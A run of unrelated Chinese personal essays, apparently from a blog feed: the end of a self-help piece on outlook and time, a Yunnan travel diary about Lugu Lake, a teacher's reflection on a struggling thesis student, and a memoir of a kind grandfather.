当你看综艺节目越来越兴起,每天浑浑噩噩的时候;当你评价别人越来越多,任由自己放纵的时候;当你时间管理越来越差,每天都不知道自己干了什么的时候……

这个时候,你的格局开始出现危机。把握不了时间,便是丧失成长的一大法宝。

罗振宇说,未来,在时间这个战场上,有两门生意会特别值钱。
第一,就是帮别人省时间。第二,就是帮别人把省下来的时间浪费在那些美好的事物上。

能够掌控时间的人,才能掌控自己的一生。要在一定时间内做对自己最重要的事,才能让格局越发开阔。

/ 05 /

你的问题就在于关注别人太多,而关注自身太少。这个时代,我们通过各种社交软件去窥探别人的生活、别人的思想、别人的当下,然后与自己作比较。

前两天老妈和我说我同学的姐姐考取了博士,现在公费去美国学习一年。而我同学,目前在上海理工大学已准备考研。

我顿时心声感叹,“为什么她们的人生就像开了挂一样?而我还什么都没确定。”

躺在床上刷朋友圈,看到了老同学的旅游照片,羡慕至极:“羡慕她有一个有钱的老爸老妈,富二代果然不一样,而我只能眼巴巴的看看照片。”

我们整天喜欢关注别人,试图去找理由让自己别那么丧。总觉得别人所取的成功一定是借助别的什么原因,却从没想过去提升自己也可以过得那么好。

比起时刻注视着他人,多关注自身的成长,尽自己的一切努力让生活少点遗憾,才能过上快意人生。当一个人把他的精力和时间从关注外界转向关注自身的成长时,才能拥有更高的格局。

/ 06 /

你的问题就在于心胸太狭窄,见不得年纪小的人比你还懂事。前两天回老家吃饭,和爷爷还有伯父一家人一起,本来是好好的。

今天一个阿姨说,我伯母对于我的话有些生气,我才恍然:原来她这两天都不往我家门口经过了是因为那晚我说的话。

那一晚,我们正吃着饭,我堂哥的孩子今年3岁了,还不会自己动手吃饭也不爱说话更不会理人。我便问伯母,“我哥这么久打了电话回来吗?他知道小斌斌去上学了吗?”

她说“没有。”

我无奈的表示“都是他的孩子,他怎么都不关心一下呢。”

这一下,沉默了。

只是没想到她因为这一句话生气了,而我却一直不知道她生气,她觉得我年纪小,没资格说我哥哥。有些人总仗着自己年龄比你大,你就要在各方面比我弱,见不得你比我懂事、不想你比我更优秀,这种狭隘的观点可笑至极。

好在,格局和年龄一点儿关系都没有,我们做好自己,该干啥干啥,只是别为了某些人也退掉了自己的格局。

这座城市,一半人在拼命,一半人在认命;一半人在抢时间,一半人在耗时间;一半人在燃烧青春,一半人在虚度青春。

你愿意做哪一半的人?

共勉。

— END —

彩云之南——泸沽湖

以前我以为,夏天晴天的天空就已经够美了。来了云南以后,我才知道,天空还可以这么蓝,云朵可以这么白。

丽江古城著名地标大水车

第一天下飞机后,接车的司机说晚上的古城值得一去。果然,夜晚的古城,灯火通明,各种小铺鳞次栉比。各种小吃、手工艺品让人忍不住买买买,还好忍住了。现在想想,并没有什么特别值得购买,鲜花饼还是挺好吃的,价位在一元到三元一个不等,吃过后发现还是三元的嘉华最好吃。而且估计这种饼现烤好吃,如果让快递寄回家的那种估计就没那么香了。

吃菌的地方,觉得门很有意境
有种群山环绕的感觉

在云南没有高楼大厦,从酒店的窗户向外看,可以看见远处的群山。

金沙江?

第二天出发去泸沽湖,单程五个多小时,这还是新修了一条路的情况下,据说以前要七八个小时。一路上都是盘山公路,有点惊险。如果碰上雨天,有可能遇到塌方。

阴天的泸沽湖

到达泸沽湖的时候,天空正飘着小雨。所以从观景台眺望泸沽湖就是这样的景色。有点小失望。

游湖

坐上摩梭人的船。摩梭人,最后一个母系氏族,以走婚文化文明。不了解的时候觉得,这样的走婚太过轻率,听了当地人讲了之后,才知道他们才是一生一世一双人。有时候文化真的很神奇,也许正是文化和美景的互相渲染,才觉得不可思议吧。不过游船的时候,问过划船的阿姐,他们现在结婚也要去办结婚证,因为买房子的时候要用。哈哈。

湖水超级清澈
随手一拍就是美景

在泸沽湖睡了一晚,这里温差超级大,第二天早上要穿毛衣。

泸沽湖的第二天是个超级好的晴天。终于知道什么叫天水一色了。

前方高能多图预警

日出
湖光山色

天蓝的不可思议,回来后,再也见不到这么蓝的蓝天了。

以上,都是完全没有修图,破手机拍摄!

拉市海

云南的阴天紫外线也很强烈。在这里,你总有种离天空很近的感觉。

白天的古城

最后一天回到丽江,白天的古城依然人山人海。但是总觉得商业气息很浓,没有夜晚的古城美。

云南的空气真的很好,很清新。几天的旅程很赶,只能怪自己没几天假期。不过云南是一个值得去第二次的地方。毕竟我还有那么多景点没去。

难道非要把论文写得那么好吗?只求毕业有什么错?

总是想写一些让人开心的事,不开心的事情总愿逃避和忘却,然而这件事情却梗在我的心头。

文/weimoxu

01

前年的元旦有着阴沉的铅一样色彩的天空,强行闯进的新年带来一丝躁动的情绪被平淡而沉闷的假日摁在了内心很深很深的所在。

年年如是,这一届学生的论文选题该发给我了。打开邮箱在满是诸如“学术会议青岛一游”“利息可观的xxx平台”的垃圾中翻找自己负责的几个学生的邮件,一封,两封,。。五封,还差一封,没有发邮件的是一个叫意琦的学生。

个子瘦高,嘴角总是微微上翘,仿佛是一个自信的模样。对的,就是那个学生,在我课堂上,编程训练中他总是第一个举手,用细细的有些腼腆的又有些犹豫的声音告诉我,“我做好了,老师”。我会过去,让他简述作业思路,然后赞赏他。

我喜欢赞赏学生,哪怕是那些明显缺陷的孩子,比如反应慢,注意力不集中,不太礼貌等等,总也能找到喜欢他们的理由,我以为这个习惯与其说是对学生好,更加重要的是自己的心理防护机制,让自己心情愉悦,减轻压力。对这样一个学生,这样一个思路清晰,反应敏捷,理解力超强的孩子,自然更加喜爱,倍加鼓励。

受到我的赞赏后,他那甜甜的酒窝就现了出来,不大的眼睛也眯缝起来,那张脸仿佛洒满阳光。这样的孩子。不会有问题,等等看吧,我思忖。

文/weimoxu

02

然而转眼一周过去了,没有收到他的邮件,又是一周过去了,仍旧没有他的邮件。

电话没人接,微信却加了。

意琦,你的选题发给我啊。

没有回复;

没有回复;

微信朋友圈,他说:“前面好黑好黑”。

然后一月过去了。

期间我发微信给他说:希望你能越来越好,人不能太相信自己的感觉,世界是公平的,哪管他是信心满满的总统还是绝望的失败者,信心和喜悦都需要自己去挖掘。静下心来做事养活自己孝敬父母,应是做人的本份。

我这样说是基于我的推断,他大概是遇到什么挫折了,他们这个年龄无非就是什么感情问题,或者沉迷于游戏之类的吧,至于后者,虽然尽享游戏的快感,但这种快感必然仍旧导致更大的空虚与无聊,这种空虚与无聊在学业的压力下真可以像一个承受重物的空壳,随时有崩碎的可能,恐惧像锯子一般咔咔地锯裂着心脏。

他回复:可能这样吧;

然后,

没有回复;

没有回复;

微信朋友圈,他说:“好疲倦,好想睡去。。。”

终究是牵挂他,然而给他的信息仍旧没有回音,直到某天,他的辅导员告诉我,孩子有心理问题,需要去治疗。并没有告诉我更多的信息。

文/weimoxu

03

一个月一个月匆匆过去了,他们这一届学生做论文,抄袭地抄袭,敷衍的敷衍,一遍遍地被打回去修改,修改,磕磕绊绊,个个总算写出个像论文的东西,算是能交差毕业了。成长就是这样,从最初蠕动着努力翻过身来,然后颤巍巍地爬行,然后东倒西歪地立起来走,渐渐长成了一个成熟矫健而又睿智的能负起责任的社会人。

然而,意琪却几乎没有消息,微信朋友圈也几乎沉寂着,除了一次估计买到了一款游戏装备,有些小兴奋,还有一次是关于英超输球让他郁闷了。

一年过去了,给他发的微信如石沉大海,仍旧没有他的消息。

文/weimoxu

04

直到最近的暑假,忽然收到他妈妈的电话,要我继续指导他的论文,并发过来一篇空洞无物的论文,类似网络公司实习生写的一些开发文档。

经过了解,才知道他在高中时就已经出现过类似的情况,假期作业没完成,在开学前先是精神然后是身体就崩溃了,胡言乱语,行为古怪,接着不断发烧,如此循环,只好休学一年。之后在家里的督促下勉强考上了大学。

据他妈妈说,在开始论文期间,一切正常,但只要一提论文,整个人就不对了,摔门,砸水杯,砸凳子椅子,然后就一直闷在家里,也不知道在做些什么,总是很烦很烦,家里人也不敢多加干涉。

文/weimoxu

05

如今,孩子仍然没好。

孩子怎么了?我试图去解释原因,我甚至放大自己成长过程中不正常的情绪来试图感受他们的问题。

是不是完美主义做怪呢?总想事情应该本就是完美的,就如那些从小到大的教科书。

教科书里的人物都是完美的善良、完美的睿智、完美的外貌,教科书里的理论永远是完美的完善、完美的正确、完美的逻辑完备,教科书里的语言永远是完美的通顺、完美的语法精确,仿佛宇宙开端即完美,让人只有去跟从、去模仿、去背诵的份。似乎没有印象有人提起那完美起源之处的荒诞粗糙与混乱,以及臻于完美过程的痛苦与挣扎。

因此,学生到了自己开始创造性地进行论文写作的时候,专业的不自信,自己幼稚的文字,成不了逻辑链条的碎碎念,让自己心中的那篇完美论文离自己愈来愈遥远,遥远得自己的心都要被抽空了。

又亦或是沉迷于各种诱惑,心里千万个明白沉迷游戏的坏处,耳边听着无数遍老师家长念叨的早已知道的做人道理,然而无奈的是,这些东西加上自己的意志,似乎永远不是那诱惑的对手,一次次地愉悦自己意味着一次次地背叛自己,自己把自己折磨得奄奄一息。该写论文了,等等吧,玩了这一局,该写了吧,等等,再最后一局,这样的漩涡把自己一直往游戏格调的黑暗里旋下去旋下去。

文/weimoxu

06

孩子啊,坚强些吧!

文/weimoxu

太阳

每个人心中都会有一个太阳,一个不落的太阳。我的太阳他的光曾照亮着我儿时的路,虽然渐行渐远,但我时不时会回头望一望,他站在那里,在慈爱的看着我。

我的太阳是爷爷,他十五年前就离世了,但他经常会入我的梦里,每当看到别人写他的爷爷,我就会被感动,世上有这么多好爷爷,可能天下的爷爷都是善良的爷爷吧。

我最感动的还是我的爷爷,那个敦厚朴实善良像圣诞老人一样可爱的老头!

爷爷喂着一头牛,他和这头牛是老伙计,他疼爱老牛胜过疼爱他自己。他和老牛同住在一间老屋里,冬天他抱一把柴禾为老牛烤火,夏天他用蒲扇给老牛扇蚊子驱赶苍蝇。爷爷的工作就是伺候老牛。

爷爷有一个心愿。这个心愿只有我知道。

就是有一天他把牛卖了,他再也不用喂牛了,然后他就坐火车去一个很远的地方。

那个地方有他想念的人,他要去佳木斯寻他的姐姐。他和姐姐分别五十年了,朝朝暮暮盼的他的头发都白了,梦都破了。

冬天,他坐在篝火前一直给我念叨着,等我不喂牛了,就去关外寻你的大姑奶奶,这么些年了,也不知她过的咋样!

解放前,大姑奶奶似乎嫁给了一个军官作姨太太,随同去了关外,几十年了也没有再回来,几十年后爷爷才打听到她还在人世,并且一辈子无儿无女,老了住进了政府的养老院。

爷爷一直念叨着,卖了老牛就去关外寻大姑奶奶。


爷爷是个老好人,方圆十里只要是熟人都知道他爱做好事。

有一年冬天,下着大雪,刮着北风,屋檐下的冰凌有一尺多长,寒风入骨,裸着耳朵露着手背便像刀割一样的疼。

爷爷走着去赶集,他爱他的老牛,他怕他的老牛饿着,他去给它买饲料。

这么冷的天,集上的人很少,空空旷旷的就不像是集。爷爷在集边上看见一个小孩蹲在墙角抱着膀子瑟瑟发抖,这谁家的孩子?大冷天也不回家。好心的爷爷想着就去询问,孩子,天这么冷,怎么不回家啊!小孩一听就哭了,我找不到家了。

好心的爷爷就赶紧哄这个孩子。

经过爷爷的询问才知道,小孩和同村一个小孩去他姥姥家,半道上他又不想去了就一个人回来了,可是他迷路了,越走越远,找不到家了,可能是又冷又饿又怕又惊吧,小孩就晕倒了。

爷爷赶紧解开棉祅把小孩贴进怀里暧,暧了有半个小时,小孩醒了,爷爷又去给他买了一个烧饼一碗汤让他喝了,便背着他回了家。

第二日爷爷走了二十多里路才找到小孩说的村庄,找到小孩家报了信。小孩的家人找不到小孩着急的都一夜没睡,想着小孩也不知被冻死在哪里了,正悲痛的哭作一团。

爷爷就像是突然从天而降的神仙,把小孩给送回来了。

全家感动的不知如何是好,父亲就要给爷爷磕头,被爷爷拉住了。

从此小孩的一家把爷爷当成了恩人,为了感恩,小孩变成了爷爷的孙子,像亲孙子一样的孙子。

小孩叫军子,他成了爷爷半路捡来的孙子,自然成了我的哥哥,我叫他军哥。军哥每年春秋节都会被父亲领着带着很多礼品来看望爷爷,爷爷也把他当自己的亲孙子一样对待,他给军哥做弹弓,也带着他去捕野兔。

慢慢的军哥长大了,长成了一个大小伙子。他不再让父亲陪同他来,他自己骑车来看爷爷,比小时候来的更勤,农忙时他还会住下几日,帮爷爷干活。

后来他结婚了,他便带着妻子来看爷爷。

再后来他有了孩子,他便带着妻子孩子来看爷爷,军哥的孩子围着爷爷直叫老爷爷,爷爷的心里乐开了花,他脸上的皱纹舒展开来就像盛开的向日葵花,向日葵花也名太阳花。


爷爷种着一个菜园,里面豆角黄瓜番茄木瓜辣椒豌豆挤满了秋夏。爷爷天天在园子里浇水捉虫侍弄他的瓜果蔬菜,菜丰盛的吃不了,他就会热情的招呼路过的乡亲,送给他们几根黄瓜或一篮豆角。

冬天爷爷没事喜欢带着他的狗去田野转悠,有时会撞见一只被冻死的野兔,拿回家来剥皮用干辣椒炖了,全家会亨用一顿美味。

这天,爷爷闲来无事又去田野走走,冬天总是被雪覆地,人们躲在家里都很少出来,爷爷喜欢大地,就像他是大地的子孙,一天不见他就万分想念。

爷爷走着突然看到一串脚印直通向地里,爷爷有点好奇,这大雪天谁还下地?他顺着脚印往前走,一直走到地头,他看到有个老太太坐在井边哭。

爷爷慌忙走到跟前去询问,方知老太太是不远邻近村子的,在家给儿媳妇生气就出来了,想不开正准备跳井呢!爷爷劝导老太太,一直劝到天黑,又把老太太领回家,让奶奶给她烧了热汤热饭吃。

老太太一直在爷爷家住了几日,没有想走的意思。奶奶不乐意了,有心撵她又说不出口,就生气的对爷爷说,她不走我走!奶奶还真走了,她回了娘家的侄子家。爷爷一看奶奶这是吃醋了,赶紧地去通知老太太的老头把她接走了。临走,老太太还恋恋不舍的对爷爷说,你家真好,住下来都不想走了。爷爷热情的说,老嫂子以后常来啊!


爷爷有哮喘干不了重活,夏天还好点,冬天就喘的历害,天气愈冷愈严重。爷爷经常在深夜憋得睡不着觉就起来,坐在堂屋里呼噜呼噜直喘。奶奶很烦,她时常唠叨,这一辈子啥也作不了,天天哼着跟废人似的。

二叔二婶也很烦,爷爷帮他们干不了活,还得经常忍受他的哼哼。二婶甚至觉得爷爷是装的,天天憋得哼哼是作样子给他们看。二婶有时候就指桑骂槐,爷爷一看见二婶就慌忙躲开,有时在二婶面前脸憋得发紫也不敢出声。

我很心疼爷爷,常常为爷爷的哮喘难过。爷爷年纪大了,喘的更历害了。我有时捏住自己的鼻子试,我发现真得憋闷得很难受。

爷爷的哮喘是年青时患下的,那个年代穷生活条件差吃苦受罪又不爱惜身体,不只爷爷有哮喘,很多那个年代的老年人十有八九都多多少少的患有哮喘,只是没有爷爷严重。这不是爷爷的错,也不是命运的错,只怪那个年代太穷了。

爷爷常常给我讲过去的事,我爱听爷爷讲故事,总爱搬个小凳子坐在那儿听爷爷讲。有一件事爷爷讲了很多遍,他讲了一次下次忘了就会又说起,我依然不厌其烦的听。

爷爷说那年冬天,河水凉得入骨,上面结着一层流璃茬子。桥上站着兵端着枪,爷爷说他也搞不清是什么兵,反正过挢的人都要受到盘查,被他们认为私法的东西就会扣下。爷爷从城里买了半袋红薯干子,担心被兵给扣下了,他不敢从桥上过,就扛着红薯干子从漫腰的河水里哗啦哗啦趟着冰凌茬子,趟过了河去。

那个饥荒的年代半袋红薯干子救了全家的命,也极乎要了爷爷的命。

爷爷得了风寒好久都没下了床,爷爷的哮喘应该是从那时候落下的根。

爷爷是一个善良的人,一辈子经历了苦难也经历了沧桑,更做了数不清的好事。

在爷爷身边朝朝暮暮的长大,受爷爷的薰陶,我懂得,人一定要做一个善良的人并懂得感恩。莎士比亚说善良的心就是黄金!爷爷救过一个
孩子,而那个孩子爱了他一生。

军哥到现在一直和我家保持着亲情来往,既使爷爷已经离去了十五年,他依然和我家割舍不下,他成了我们家的一分子,有什么重要的事父亲都不会落下他,他今生和我们家就像有了不解之缘。每当想念爷爷的时候,想着这世上还有另外一个孩子和我一样曾被爷爷温暖的疼爱过,我的心里就冲满了暧暖的温情。


那日我背着包离家,爷爷起得很早,爷爷就倚在家门口的老枣树下悲伤的看着我走,他年纪大了,而我却要离开他去远方。从小看着我长大,爷爷是最疼爱我的人,总是把好吃的留给我,在我受委屈的时候总是他护着我,在我耍小性子哭着不吃饭的时候总是他百般哄着把碗筷塞到我手里。

而我要走了。爷爷看着我走,我回头看见他苍老的眼睛里有难过有不舍。

而这一次我走成了永别!

爷爷去了,在我离开家十个月的时候,在冬天,爷爷喘不上来气就憋过去了,他们说爷爷一直叫着我的名字走的。

爷爷你为什么不等我?我再长一个月就要回家了啊!爷爷,你还没有把牛卖了见到大姑奶奶啊!

我知道,爷爷一定是乘着他的老牛西去了。

这辈子他一直不舍得卖他的老牛,老牛老死了。